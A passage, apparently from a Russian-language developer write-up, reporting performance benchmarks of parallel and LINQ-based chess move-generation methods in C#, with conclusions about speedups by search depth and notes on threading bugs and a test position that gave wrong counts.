21467ms NextMoves() + YieldValidMovesLINQ() - Steps: 4 / Result: 197281 / Done in 55400ms NextMovesLINQ() + YieldValidMovesLINQ() - Steps: 4 / Result: 197281 / Done in 55620ms NextMovesParallel() + YieldValidMovesLINQ() - Steps: 4 / Result: 197281 / Done in 21483ms Выводы: 1) Распараллеливание вредно для глубины просчёта 1, но очень полезно начиная с 2 и далее. 2) Использование LINQ в обоих методах для глубины 1 даёт наибольшую скорость расчётов. 3) Начиная с глубины просчёта 2 распараллеливание очень ускоряет расчёты. 4) Использование распараллеливания в первом методе для глубины 2 и 3 совместно с LINQ во втором методе в целом даёт наибольший эффект, за исключением NextMovesLINQ() + YieldValidMovesLINQ() для глубины 2. 5) Совместное использование NextMovesLINQ() + YieldValidMovesLINQ(), а также NextMovesParallel() + YieldValidMovesLINQ() в глубине расчётов 4 начинает немного отставать от связок NextMovesLINQ() + YieldValidMoves() и NextMovesParallel() + YieldValidMovesLINQ(). Это результат одного из прогонов теста на "прогретом" процессоре. Конечно на малой глубине просчётов были заметные колебания во времени исполнения, но я не стал собирать базу прогонов и вычислять средние значения. Но "на глаз" значения в среднем такие и получаются. Баги: 1) В одном запуске из примерно 5 на глубине 1, несмотря на использование блокировки потоков связка NextMovesParallel() + YieldValidMoves() давало результат 21. 2) В одном запуске из примерно 3 на глубине 1, просто использование связки NextMovesParallel() + YieldValidMovesLINQ() давало результат 21 или 22. 3) На глубине просчётов выше 2 ошибок не замечено. Для других стартовых позиций я подробно быстродействие не тестировал, только проверил на соответствие верным результатам. Ошибки были только во второй стартовой позиции на сайте из шести: "r3k2r/p1ppqpb1/bn2pnp1/3PN3/1p2P3/2N2Q1p/PPPBBPPP/R3K2R". Так как в остальных 5 позициях всё было верно (за исключением лишней 1 или 2 при многопоточности на малой глубине), то, вероятно причина в том, что в коде не учитываются особые патовые ситуации.
Трудности: Заставить *почти* без ошибок работать распараллеливание.